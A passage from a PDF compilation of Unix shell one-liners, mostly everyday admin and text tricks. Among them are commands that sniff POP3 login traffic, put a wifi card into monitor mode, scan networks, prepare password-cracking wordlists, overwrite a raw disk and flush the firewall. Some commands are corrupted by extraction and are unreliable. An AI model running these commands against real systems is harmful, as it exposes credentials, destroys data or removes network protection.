{ rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reserved blocks:
"(rescnt/blkcnt)*100"%" }'
# Go to man section of bash builtins
man () { if [[ $(type ${1}) =~ "is a shell builtin" ]]; then; /usr/bin/man -P "/usr/bin/less
-iRs --pattern=\"^ *${1}\"" bash; else; /usr/bin/man ${1}; return; fi; }
# grep all class definitions from all files in current directory
grep -RE 'class\s+(\w+)' --color *
# Parallel XZ with progress bar
function xzv() { THREADS=`grep processor /proc/cpuinfo | wc -l`; for file in $*; do pv -s
`stat -c%s $file` < $file | pxz -q -T $THREADS > $file.xz ; done; }
# convert html links into plain text with link anchor
sed 's!<[Aa] *href*=*"\([^"]*\)"*>\([^<>]*\)</[Aa]>!\1,\2!g' links.html
# Display directory hierarchy listing as a tree
find . -printf '%p\n' | perl -ne 'if( m/(.*)\/(.*)/ ) { $p = $1; $f = $2; $p =~ s/[^\/]/ /g;
$p =~ s/\//|/g; print "$p/$f\n"; } elsif( m/(.*)/ ) { print "$1\n"; } else { print "error
interpreting: \"$_\"\n"; }'
# Fast and deep search query for any package in gentoo portage system
eix --open -S log --and -S color --close
# SAR - Get the monthly queue length average using sar -q for both the runq-sz and plist-sz.
ls /var/log/sa/sa[0-9]*|xargs -I '{}' sar -q -f {}| awk '/Average/'|awk
'{runq+=$2;plist+=$3}END{print "average runq-sz:",runq/NR; print "average plist-sz:
"plist/NR}'
# Terminate a dead ssh connection with out restarting the termainal
CTRL+~ then .
# Information about RAM HW.
sudo dmidecode --type 17

# Convert YAML to JSON


ruby -ryaml -rjson -e 'puts JSON.pretty_generate(YAML.load(ARGF))' < file.yml > file.json

448 / 658

All UNIX COMMANDS


# Search and replace multiple files with substitution
find . -name "*.txt" | xargs -n 1 perl -pi -w -e "s/text([0-9])/other\$1/g;"
# Generate MD5 hash for a string
echo -n "string" | md5sum # Tar a directory and its sub-directory
tar cvfz dir_name.tgz dir/
# sort selected lines in a text file to the beginning or end of the file.
2end () ( export LC_ALL=C; nl -n rz $1 > $1.tmp; ${EDITOR:-vi} $1.tmp; sort $1.tmp | sed -r
's/^.*[0-9]+\t+//' > $1; rm $1.tmp; )
# Setting gdb in memory allocation debugging mode under MAC OS X
set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error
# Sum file sizes
find . -type f -printf %s\\n | paste -sd+ | bc
# Get all files of particular type (say, PDF) listed on some wegpage (say, example.com)
curl -s http://example.com | grep -o -P "<a.*href.*>" | grep -o "http.*.pdf" | xargs -d"\n"
-n1 wget -c
# Correct spellings in directory names
shopt -s cdspell
# Sort I/O activity by PID number.
for i in $(ps -eo pid|grep -v PID);do echo ""; echo -n "==$i== ";awk '/^read|^write/{ORS="
"; print}' /proc/$i/io 2>/dev/null; echo -n " ==$i=="; done|sort -nrk5|awk '{printf "%s\n%s
%s\n%s %s\n%s\n\n",$1,$2,$3,$4,$5,$6}'
# List all text files (exclude binary files)
find -type f | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"
# Recursive chmod all *.sh files within the current directory
find ./ -name "*.sh" -exec chmod +x {} \;
# autocreate git tag
git tag rel--`date +%Y-%m-%d--%H-%M-%S` -m "(%) rel: stage"
# svn diff ignore whitespace
svn diff --diff-cmd diff -x -uw /path/to/file
# Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the
Unicode Standard.
perl -i -pe 's/\xef\xbb\xbf//g' <file>
# Print a row of 50 hyphens
python -c 'print "-" * 50'
# Python: Quickly locate site-packages
python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()"
# Scrape all RBLs off the anti-abuse.org site
lynx -dump http://www.anti-abuse.org/multi-rbl-check/ | grep ']' | awk -F\] '{ print $2 }' |
sed '/^\[/d' | egrep -v ^[A-Z]
# place wifi card into monitor mode
iwconfig wlan0 mode monitor

449 / 658

All UNIX COMMANDS


# Compare latest changes in locally edited file with SVN copy of a file
svn diff <FILE>
# Prefix file contents with filename
for i in *; do sed -i "s/^/$i: /" $i; done
# Count empty lines using grep
grep -c "^$" filename
# AWK example of using substr + index to print strings in an unknown position.
awk '{word=(substr($0,index($0,"blah"),5));print word}'
# Displays mpd playing status in the terminal first raw
while sleep 1; do (mpc status;mpc currentsong)|awk 'BEGIN{FS=": "}/^Artist:/
{r=r""$2};/^Title:/{r=r" - "$2};/^time:/{r=$2" "r};/^state: play/{f=1}END{if(f==1){print
r}}'|echo -ne "\e[s\e[0;0H\e[K\e[0;44m\e[1;33m$(cat -)\e[0m\e[u";done &
# use the find command and have it not print trailing slashes
find * -maxdepth 0 -type d

# Wait the set time and then Power off


sudo shutdown -h <hour:minute>
# Wait for Web service to spin up, aka alert me when the server stops returning a 503
while true; do curl -vsL -o /dev/null example.com 2>&1 | grep 503 > /dev/null || echo "OK:
server is up."; sleep 8; done
# Notify on Battery power
NotifyOnBATTERY () { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m;
done }
# build DTT channel list with w-scan
w_scan -X -P -t 2 -E 0 -c IT > dvb-channels.conf
# Marks all manually installed deb packages as automatically installed.
aptitude -F "%p" search \!~M~i~T | xargs apt-mark markauto
# Suppress standard output using > /dev/null
cat file.txt > /dev/null
# Make directory and change into immediately (No functions!)
mkdir -p /path/to/folder.d; \cd $_
# look some php code by some keywords
locate *\\.php|xargs grep --color=always -i -5

"namespace\s.*\W"|less

# Check if variable is a number


if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi
# Get current connected wireless network with nm-tools
nm-tool 2>/dev/null|sed -n '/Type:[ ]*802.11 WiFi/,/IPv4 Settings/{ /State:[ ]
*connected/,/IPv4 Settings/{ s/^[ ]*//;/^\*.*Infra/ { s/^*//;s/:.*//;p }}}'
# Show the changed files in your GIT repo
git status | perl -F'\s' -nale 'BEGIN { $a = 0 }; $a = 1 if $_ =~ /changed but not
updated/i; print $F[-1] if ( $a && -f $F[-1] )'
# Forensic tool to find hidden processes and ports

450 / 658

All UNIX COMMANDS


unhide (proc|sys|brute)
# List and count the number of open sessions per user
users | xargs -n1 echo | sort | uniq -c
# have tar decide compression based on filename
tar -caf some_dir.tar.xz some_dir
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
rename.ul "" 00 ?.jpg; rename "" 0 ??.jpg;
# Show which user has the most accumulated login time
ac -p | sort -nk 2 | awk '/total/{print x};{x=$1}'
# Replace Space In Filenames With Underscore
rename 's/ /_/g' *
# Join command like SQL
join employee.txt bonus.txt
# Get own public IP address
curl -s http://wtfismyip.com/text
# Watch the number of RabbitMQ connections by user (sorted)
watch -d "rabbitmqctl -q list_connections | awk '{gsub(/[ \t]+/, \"\", \$1); print \$1}' |
sort | uniq -c | sort -nr"
# Generate 2000 images with its number written on it
for i in {1..2000}; do convert -size 200x100 xc:#000000 -font Arial -pointsize 22 -fill
white -gravity center -draw "text 0,0 '$i'" $i.png; done
# hours before the time()==1234567890
echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 ))
# Outputs a 10-digit random number
head -c10 <(echo $RANDOM$RANDOM$RANDOM)
# Display environment vars only, using set
alias sete='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"`/q;p"'
# Print sorted list of all installed packages (Debian)
aptitude search -F "%p" --disable-columns ~i

# Search recursively to find a word in certain file types


find . -iname '*.conf' | xargs grep "searh string" -sl
# Knowing when a machine is turned on
date -d @$(echo $(($(date +%s)-$(cat /proc/uptime|cut -d. -f1))))
# delete first and last line from file
sed '1d;$d' filename
# Get IP address from Tor exit-node
curl -s -d "CSField=Name" -d "CSInput=BostonUCompSci"
http://torstatus.blutmagie.de/index.php | grep -oP "ip=\K(\d+)(\.\d+){3}"
# Change a file to upper case
tr a-z A-Z < file.txt

451 / 658

All UNIX COMMANDS


# delete first X lines of a file
tail +56 file > newfile
# SVN Export files that were modified between given revisions.
svn diff . -r43:HEAD --summarize | cut -c9-99999 | cpio -pvdmu ~/destination
# Monitor a log file, filling up all available space in the terminal window and preventing
line wrap
watch -n 4 "tail -n $(expr $(tput lines) - 4) /var/log/apache2/access.log | cut -c 1-$(tput
cols)"
# Show total disk space on all partitions
df -h --total | awk 'NR==1; END{print}'
# Add a newline to the end of a cpp file
find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \;
# Monitor a file's size
while [ 1 ]; do du /var/log/messages;sleep 60; done
# Fetch the Gateway Ip Address
/sbin/route -n | grep "^0\.0\.0\.0" | awk '{ print $2 }'
# Converts uppercase chars in a string to lowercase
echo StrinG | tr 'A-Z' 'a-z'
# Comment out all lines in a configuration file matching a regexp, creating a backup.
mv -i something.conf{,~} && sed "/regexp/s/^/#/" < something.conf~ > something.conf
# replace one of the octates of an IP
i=3; echo 10.0.0.1 | sed "s/\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\
{1,3\}\)/\1\2\3$i/g"
# Matched string reference in replacement text
echo "abcde" | sed 's/./& /g'
# Remove comments from files
sed -i -e '/^#[^!].*/d' -e 's/\(.*[^!]\)#.*[^}]/\1/' <filename>
# Continously show httpd's error log
while [ 1 ]; do tail /var/log/httpd/error_log; sleep 2; clear; done
# set desktop background to highest-rated image from Reddit /r/wallpapers
wget -O - http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http://i.imgur.com[^&]+jpg' |
head -1 | xargs wget -O background.jpg
# Sort using kth column using : delimiter
sort -t: -k 2 names.txt
# Kill a lot of process once a time
ps aux | grep <process> | grep -v grep | awk '{print $2}' | xargs -i -t kill -9 {}
# Comment in line
: "comment in line"
# Recursively remove all files in a CVS directory
find . -type f ! -path \*CVS\* -exec rm {} \; -exec cvs remove {} \;
# See ruby compilation flags

452 / 658

All UNIX COMMANDS


ruby -r rbconfig -e 'puts RbConfig::CONFIG["configure_args"]'
# Change IP on an ESX interface
esxcli network ip interface ipv4 set -i vmk1 -I 10.27.51.143 -N 255.255.255.0 -t static

# which git tags include this commit?


git tag -l --contains 18f6f2 live*
# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -delete
# Convert all Microsoft Word files in current directory to HTML.
for f in *.doc ; do wvHtml $f ${f%.doc}.html ; done
# Find out the starting directory of a script
mydir=$(cd $(dirname ${BASH_SOURCE:-$0});pwd)
# Backup entire system
cd / ; tar -cvpzf backup.tar.gz --exclude=/backup.tar.gz --exclude=/proc
--exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/dev /
# Fix MP3 tags encoding (to UTF-8). Batch fixes all MP3s in one directory.
find . -iname "*.mp3" -execdir mid3iconv -e <encoding> {} \;
# Monitor MySQL threads per user
mysql -BNe "SELECT user,COUNT(user) AS count FROM processlist GROUP BY user ORDER BY count;"
information_schema
# Sort files by size
ls -al | sort +4n
# Find and remove files older than 365 days
find ./ -type f -mtime +365 -exec rm -f {} \;
# If your disk space Used =100% displayed even after deleting the files generated the below
command then Just REBOOT the System .
dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1
{print $4-100}')
# Recursively remove all empty directories
find . -empty -type d -print0 | xargs -0 rmdir -p
# Get IP address from domain
dig +short <domain>
# Easy IPTables management
iptables-save > iptables.current; vi iptables.current; iptables-restore iptables.current;
service iptables save
# Remap Nic aliases from PCI location
lspci -vv | grep 'Ethernet\|Serial' | awk 'NR == 1{ printf $1 } NR == 2 { print " mac "
$7 }' | sed ?e 's/-/:/g' -e 's/:f[ef]:f[ef]//g' -e 's/01:00.0/eth0/g' -e 's/01:00.1/eth1/g'
-e 's/01:00.2/eth2/g' -e 's/01:00.3/eth3/g' > /etc/iftab && ifrename
# run zenity object on local machine for to insert video stream url to play on remote
machine
lol=`zenity --entry` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-exit "$lol"

453 / 658

All UNIX COMMANDS


# SSH connection with private key and port 222
ssh -i /root/.ssh/username\@hostname -p 222 username@hostname
# commit message generator - whatthecommit.com
curl -s 'http://whatthecommit.com/' | grep '<p>' | cut -c4# Unique sort
sort namesd.txt | uniq
# check details of calling a url
curl -iv url
# Clean memory and SO cache
sync ; /sbin/sysctl -w vm.drop_caches=3 ; sync ; sleep 2 ; /sbin/sysctl -w
vm.drop_caches=0 ;/sbin/swapoff -a ; sleep 2 ;/sbin/swapon -a
# -h means
du -h

human readable

# display directory
ls -d .*"/" *"/"
# Replace all environment variable references in files with environemnt variable values
perl -p -e 's/\$(\w+)/$ENV{$1}/g;' <files...>
# Prints out, what the users name, notifyed in the gecos field, is
getent passwd `whoami` | cut -d ':' -f 5
# Rename with regular expression and leading zeros
rename 's/result_([0-9]+)_([0-9]+)_([0-9]+)\.json\.txt/sprintf("%d%02d%02d.txt",
$3,$2,$1)/ge' result_*.txt

# AIX: Determine what filesets are missing to reach a TL


instfix -icq | grep 5300-07_AIX_ML | grep ":-:"
# Easily create and share X screen shots (local webserver version)
scrot -e 'mv $f \$HOME/public_html/shots/; echo "http://\$HOSTNAME/~\$USER/shots/$f" | xsel
-i; feh `xsel -o`'
# how to run firefox in safe mode from command line
firefox --safe-mode
# Execute all SQL files in a directory
cat *.sql | mysql <db_name>
# run zenity object on local machine for select all directory file to play on remote machine
lol=`zenity --file-selection --directory` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-stop
"$lol"
#
&#38468;&#24102;&#33410;&#20551;&#26085;&#21644;&#38452;&#21382;&#30340;&#21629;&#20196;&#34
892;&#31243;&#24207;
gcal -i -s1 -qcn --chinese-months -cezk .
# Display the packages that contain the specified file.
dpkg -S file
# pev - Extract PE(.exe) version information in bash

454 / 658

All UNIX COMMANDS


pev winappfile.exe
# How to expire the password to force her change [Linux]
chage -d 0 -m 0 -M 60 [user]
# Terminate a find after the first match is found.
/bin/sh -c 'find . -name FILENAME -print -exec kill $$ \;'
# Output sound when your computer is downloading something
tcpdump | aplay -c 2
# Create a local compressed tarball from remote host directory
ssh user@host "tar -czf - /path/to/dir" > dir.tar.gz
# Kill all threads from a MySQL user
mysql -BNe "SELECT id FROM processlist WHERE user = 'redmine';" information_schema | while
read id; do mysqladmin kill $id; done
# Show duplicate lines in a file
sort namesd.txt | uniq ?cd
# Show alive host on network
nmap -sP 192.168.0.* | grep Host | tr "(" ")" | cut -d\) -f2
# Run the last command as root
sudo !-1
# remove duplicate with change order
awk '{if(!seen[$0]++) {print $0;}}'
# Customizable Search Context
echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [fileto-search]
# Activate the mandatory proxy under ubuntu
gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true
# How to check webserver by Nikto
nikto.pl -h yourwebserver
# Bash function to see what the day ends in
date +%A | cut -c $(( $(date +%A | wc -c) - 1 ))
# list all file extensions in a directory
ls -Xp /path/to/dir | grep -Eo "\.[^/]+$" | uniq
# find a particular string on an unmounted partition
hexdump -e '8/1 "%02X ""\t"" "' -e '8/1 "%c""\n"' /dev/sda1 | less /mystring
# Displays the packages which contain the specified file.
dpkg -S locale.alias
# Generate Pascal's Triangle
for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do v2=$(($(echo "$v*($r-$c)/
$c")));echo -n "$v2 ";v=$v2;done;echo;done

# How to expire the password to force her change [AIX]


pwdadm -f ADMCHG [user]

455 / 658

All UNIX COMMANDS


# unix2dos with awk
awk 'sub("$", "\r")' unixfile.txt > winfile.txt
# Clean a wordlist for use with password cracking tools and rules
cat dirtyfile.txt | awk '{gsub(/[[:punct:]]/,"")}1' | tr A-Z a-z | sed 's/[0-9]*//g' | sed
-e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' | tr A-Z a-z | sort -u >
cleanfile.txt
# Modify all files newer than another file and touch them to a specific date.
find . -newer /tmp/foo -exec touch --date "2011-12-12" {} \;
# find all c and cpp files except the ones in the unit-test and android subdirectories
find . ! -regex '.*/\(unit-test\|android\)/.*' \( -name '*.c' -o -name '*.cpp' \)
# Select columns in a file
cut -d: -f 1 names.txt
# Fill a hard drive with ones - like zero-fill, but the opposite :)
perl -e '$s="$s\xFF" while length($s)<512; print $s while 1' | dd of=/dev/sdX
# Runs previous command replacing foo by bar every time that foo appears
^bar^foo^
# remove duplicate with change order
perl -lne 'print unless $seen{$_}++'
# search manpages on the internets
manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgibin/adm/man.cgi?section=all&topic='"$1" | less; }
# Prints line numbers
awk '{print NR,$0}'
# Display the space used for all your mounted logical volume (LV)
df -kh /dev/vg0*/lv*
# Open Remote Desktop (RDP) from command line having a custom screen size
rdesktop -u <username> -p <password> -g 1366x724 -a 16 -D -z -P <servername / IP Address>
# How to Kill Process that is Running on Certain Port in Windows?
netstat -a -o -n | grep 8080
# Watch Weather Channel live video stream without a browser
vlc mms://twcilivewm.fplive.net/twcilive-live/twci_350
# Get the name or user running the process of specified PID
ps aux | grep PID | grep -v 'grep' | awk '{ print $1 }'
# Stop iptables completely
iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; for table
in `cat /proc/net/ip_tables_names`; do iptables -t $table -F; iptables -t $table -Z;
iptables -t $table -X; done
# Squeeze repeats
tr -s ' '
# Download all images from a 4chan thread

456 / 658

All UNIX COMMANDS


curl -s http://boards.4chan.org/---/res/nnnnnn | grep -o -i 'File: <a
href="//images.4chan.org\/[a-z]*\/src\/[0-9]*\.[a-z]\{3\}' | sed -r 's/File: <a
href="\/\///' |xargs wget
# Easily find an old command you run
history | tail -100 | grep cmd
# replace file name
for i in * ; do mv $i $[j++].mp3 ; done
# Use GNU info with a pager
info foo |less
# when you type this simple command, a train will show in the terminal! JUST FOR FUN
sl
# grep on IP range from maillog
egrep '183\.([0-9]|(1[0-6]|2[0-3]))' -J /var/log/maillog*
# Prints the second part of the hostname of a given database in /etc/sybase/interfaces
awk '/^'$SEARCH'[ ]*$/{getline;if ($1 ~ /query/) {split($4,a,".");print a[2]}}'
/etc/sybase/interfaces

# Mixing music in bash


( for((i=0;$i<100;i++))do echo volume $i 1; sleep 0.1s; done; )| mplayer -slave -quiet
sample.mp3
# multimedia ping
ping -a IP-ADDRESS
# Get duration of an audio file in seconds.
get_duration () { IFS=.: read -r _ h m s _ < <(ffmpeg -i "$1" 2>&1 | grep Duration);echo $((
h * 3600 + m * 60 + s )); }
# Show full system info
inxi -F
# Status of a file/directory
stat /etc/my.cnf
# Send you 1000 packages icmp eco to "host" in short time
# ping -c 1000 -i 0.001 <host>
# Sync files in /var/www/html dir with other server excluding files in exclude_files.txt
rsync -arl --rsh=ssh --progress --exclude-from=/etc/localbin/exclude_files.txt
/var/www/html/source/* <user>@<server>:/var/www/html/source/
# Non-interactively set timezone in Ubuntu
echo 'Etc/UTC' | tee /etc/timezone; dpkg-reconfigure --frontend noninteractive tzdata
# Printing multiple years with Unix cal command
for y in {2009..2013}; do cal $y; done
# View facebook friend list [hidden or not hidden]
fbcmd FSTATUS =all
# Read source of some installed Perl module
perldoc -m Some::Module

457 / 658

All UNIX COMMANDS


# git log1 alias
git config --global alias.log1 "log --pretty=oneline --abbrev-commit"
# what the free memory grow or shink
watch -d "free -mt"
# this toggles mute on the Master channel of an alsa soundcard
on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk
'{print $7}'); amixer sset Master ${!now}
# Find all files <10MB and sum up their size
i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo
$i
# Sniff ONLY POP3 authentication by intercepting the USER command
tcpdump -i eth0 "tcp port pop3 and ip[40] = 85 and ip[41] = 83" -s 1500 -n -w "sniff"
# Convert a directory of pdfs into scaled down pngs
shopt -s nullglob; for i in $(find "Your/file/system" -name "*.pdf"); do e="$(dirname $i)/$
(basename $i '.pdf').png"; gs -sDEVICE=png16m -q -dPDFFitPage -g492x380 -dTextAlphaBits=4
-dGraphicsAlphaBits=4 -dNOSUBSTDEVICECOLORS -o $e $i; done
# Find .java files with high complexity (counting curly braces)
find src/ -name "*.java" | while read f; do echo -n "$f "; cat "$f" | tr -dc '{}'; echo;
done | awk '{ print length($2), $1 }' | sort -n
# Create fortune's *.dat file from commandlinefu from saved preferite
sed ':a;N;$!ba;s/\n\n/\n%\n/g' input.txt >output
# Nohup
nohup ./my-shell-script.sh &
# Replace nelines with spaces
sed -e :a -e '$!N;s/\n/ /;ta'
# Pipe system log to espeak
tail -f /var/log/messages.log | while read line ; do echo $line | cut -d \
[[0-9]*\\]// | espeak ; done

-f5- | sed s/\\

# Tar dir excluding tmp


tar -zcvf <archive<.tar.gz --exclude /home/szimbaro/tmp /home/szimbaro
# mount iso file
mount -o loop centos.iso /nmt/dir
# empty one file
> filename.txt

# Use wbinfo to output a table with basic user information from the default domain
controller.
for DOMAIN in $(wbinfo -m); do WBSEP=$(wbinfo --separator); ADSERVER=$(wbinfo ... (Read
description for full command)))
# Grep the process excluding the grep itself.
ps -ef | grep [t]clsh
# prints line numbers

458 / 658

All UNIX COMMANDS


perl -pe 'print "$. "' <file>
# print line and execute it in BASH
$ echo "command"; `!#:0-$
# Mark a directory as one where something failed
fail () { ln -s /nonexistent 0_FAIL_${1}; }
# list with full path
find `pwd` -maxdepth 1 -exec ls --color -d {} \;
# find all c and cpp files except the ones in the unit-test and android subdirectories
ls **/*.c(|pp)~(unit-test|android)/*
# Mute Master sound channel, printing only the percent volume
amixer -c 0 set Master toggle | sed -n "$ p" | awk '{print $4}' | sed "s/[^0-9]//g"
# list all files are greater than 10mb
ls -lahS $(find / -type f -size +10000k)
# watch video youtube without flash but with mplayer and youtube-dl
mplayer $(youtube-dl -g http://youtube.com/example)
# set open firmware password command mode
/usr/local/bin/OFPW -mode 1
# Add all not commited files to svn
svn st | grep ^? | xargs svn add 2> /dev/null
# When feeling boring this command help too
bb
# Poor man's unsort (randomize lines)
while read l; do echo $RANDOM "$l"; done | sort -n | cut -d " " -f 2# simple regex spell checker
< /usr/share/dict/words egrep onomatopoeia
# Zip a directory recursively, excluding some contained directories
zip -r new.zip dir_to_zip -x '*/dir_to_exclude1/*' -x '*/dir_to_exclude2/*'
# Pascal's triangle
l=10;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l;j++));do [ $i -eq 0 -o $j
-eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";eval
"echo \"\${a$i[@]}\"";done | column -t;
# Download 40 top funnyjunk Images to the current directory
curl -s --compressed http://funnyjunk.com | awk -F'"' '/ '"'"'mainpagetop24h'"'"'/ { print
"http://funnyjunk.com"$4 }' | xargs curl -s | grep -o 'ht.*m/pictures/.*\.jpg\|
ht.*m/gifs/.*\.gif' | grep "_......_" | uniq | xargs wget
# Format images for Kindle
mogrify -colorspace Gray -rotate '-90>' -resize 600x800 -dither FloydSteinberg -colors 16
-format png *
# Unmuting master channel, printing only percent value, while suppressing other outputs
amixer -c 0 set Master toggle | tail -1 | awk '{print $4}' | sed "s/[^0-9]//g" ; amixer -c 0
set Speaker toggle >/dev/null; amixer -c 0 set Front toggle >/dev/null
# UDP over SSH

459 / 658

All UNIX COMMANDS


socat udp-listen:1611 system:'ssh remoteserver "socat stdio udp-connect:remotetarget:161"'
# Get current Xorg resolution via xrandr
xrandr | grep \* | awk '{print $1}'
# Rotate the X screen via xrandr
xrandr --output [youroutput] --rotate [right|left|normal] -d [yourdisplay]
# Top like mysql monitor
mytop --prompt
# Grep through the text of djvu files and format results
find ./ -iname "*.djvu" -execdir perl -e '@s=`djvutxt \"$ARGV[0]\"\|grep -c Berlekamp`;
chomp @s; print $s[0]; print " $ARGV[0]\n"' '{}' \;|sort -n

# Check whether laptop is running on battery or cable


cat /proc/acpi/ac_adapter/ACAD/state
# resize all JPG images in folder and create new images (w/o overwriting)
ls *.JPG | cut -d . -f 1 | xargs -L1 -i convert -resize 684 {}.JPG {}.jpg
# Untar a directory in a tar file over ssh
cat tarfile.tar.gz | ssh server.com " cd /tmp; tar xvzf - directory/i/want"
# df output, sorted by Use% and correctly maintaining header row
df -h | grep -v ^none | ( read header ; echo "$header" ; sort -rn -k 5)
# Convert vcd to avi format
mencoder vcd://2 -o sample.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
# Get the total length of all video / audio in the current dir (and below) in H:m:s
find /path/to/dir -iname "*.ext" -print0 | xargs -0 mplayer -really-quiet -cache 64 -vo
dummy -ao dummy -identify 2>/dev/null | awk '/ID_LENGTH/{gsub(/ID_LENGTH=/,"")}{SUM +=
$1}END{ printf "%02d:%02d:%02d\n",SUM/3600,SUM%3600/60,SUM%60}'
# kill defunct processes by killing their parents
ps afx | grep defunct -B 1 | grep -Eo "[0-9]{3,}" | xargs kill -9
# Extract android adb ab backup to tar format (only works for non encrypted backups)
dd if=mybackup.ab bs=24 skip=1 | openssl zlib -d > mybackup.tar
# Find a file with a certail date stamp
cp -p `ls -l | awk '/Apr 14/ {print $NF}'` /usr/users/backup_dir
# Shutdown ubuntu
sudo shutdown -h now
# Gets the X11 Screen resolution
xdpyinfo | grep dimensions | awk '{print $2}'
# Need an ascii art font for you readme text ?
toilet -f big
ReadMe
# Poor man's ntpdate
date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Date: \(.*\)
$/\1/p')"
# zsh variable behave like bash variable

460 / 658

All UNIX COMMANDS


setopt shwordsplit
# command line fu roulette
curl -sL 'www.commandlinefu.com/commands/random' | awk -F'</?[^>]+>' '/"command"/{print $2}'
# rsync a hierarchy but matching only one filename
rsync -avz --dry-run --include="only-include-this-filename" -f 'hide,! */' source/folder/
target/folder/
# Nmap find open TCP/IP ports for a target that is blocking ping
nmap -sT -PN -vv <target ip>
# Copy a file to a new directory created on the fly
cp -r path/to/file/tree $(mkdir -p new/path/here; echo new/path/here)
# grep for ip4 addresses
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
# Fastest way to get public IP
curl simplesniff.com/ip
# to remove blank line
grep . filename >filename1
# Logout from ubuntu
logout
# [Ubuntu] Create a Python virtualenv
virtualenv --no-site-packages --distribute -p /usr/bin/python3.3 ~/.virtualenvs/pywork3
# Format source code noninteractively (possibly en masse) using vim's formatting
functionality
vim +"bufdo norm gg=G" +wa +qa FILES
# Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done |
sort -t: -k2 -r

# find co-ordinates of a location


findlocation() {place=`echo $@`; lynx -dump "http://maps.google.com/maps/geo?
output=json&oe=utf-8&q=$place" | egrep "address|coordinates" | sed -e 's/^ *//' -e 's/"//g'
-e 's/address/Full Address/';}
# Find the main file :D
find . -name "*.cpp" -exec grep -Hn --color=tty -d skip "main" {} \;
# Fetch all GPG keys that are currently missing in your keyring
gpg --list-sigs | sed -rn '/User ID not found/s/^sig.+([a-FA-F0-9]{8}).*/\1/p' | xargs -i_
gpg --keyserver-options no-auto-key-retrieve --recv-keys _
# put current directory in LAN quickly
python3 -m http.server
# rsync...
rsync -avz -e ssh user@host:/srcpath destpath
# find files between specific date/times and move them to another folder

461 / 658

All UNIX COMMANDS


touch -t 201208211200 first ; touch -t 201208220100 last ; find /path/to/files/ -newer first
! -newer last | xargs -ifile mv -fv file /path/to/destination/ ; rm first; rm last;
# Convert several JPEG files to PDF
convert *.jpeg output.pdf
# bash alias for date command that lets you create timestamps in ISO8601 format
alias t__s='date "+%FT%T"'
# Find a .jpg in Your Home-Directory and display it via eog. Not case sensitive.....
eog $(find $HOME -iname ExamplePicture*.jpg)
# Convert ascii string to hex
echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
# cd into the latest directory
alias cd1='cd $( ls -1t | grep ^d | head -1)'
# Add an iptables rule on RH/CentOs before the reject
REJECT_RULE_NO=$(iptables -L RH-Firewall-1-INPUT --line-numbers | grep 'REJECT' | awk
'{print $1}');/sbin/iptables -I RH-Firewall-1-INPUT $REJECT_RULE_NO -m state --state NEW -m
tcp -p tcp --dport 80 -j ACCEPT -m comment --comment "Permit HTTP Service"
# collect fullcalib data
find . -name "fullcalib4.csv" -exec tail -n1 \{\} \; >>all.csv
# Get external IP address
curl -qsL http://checkip.dyn.com | sed -E "s/^.*Address: ([0-9\.]+).*$/\1/"
# Clear linux cache
sudo su; sync; echo 3 > /proc/sys/vm/drop_caches
# Create Security Group
dsadd group cn=group_name,dc=example,dc=com -secgrp yes -scope g -samid group_name
# Extract an audio track from a multilingual video file, for a specific language.
mencoder -aid 2 -oac copy file.avi -o english.mp3
# remove unnecessary architecture code from Mac OS X Universal binaries
ditto --arch i386 doubleTwist.app doubleTwist_i386.app
# Poor man's ntpdate
date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`"
# Get a url, preview it,
read -p "enter url:" a ;
file as text (y/n)?" b ;
touch $(eval echo "$c")

and save as text - with prompts


w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save
if [ $b = "y" ] ; then read -p "enter path with filename:" c &&
; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE

# Find the package a command belongs to on Gentoo


equery belongs $( which mv )
# Find all files over 20MB and print their names and size in human readable format
find / -type f -size +20000k -exec ls -lh {} \; | awk '{printf $9} {for (i=10;i<=NF;i++)
{printf " "$i}} {print ": "$5}'
# Overcome Bash's expansion order
eval "mkdir test{$(seq -s, 1 10)}"
# Read/Write output/input from sed to a file

462 / 658

All UNIX COMMANDS


seq 20 | sed

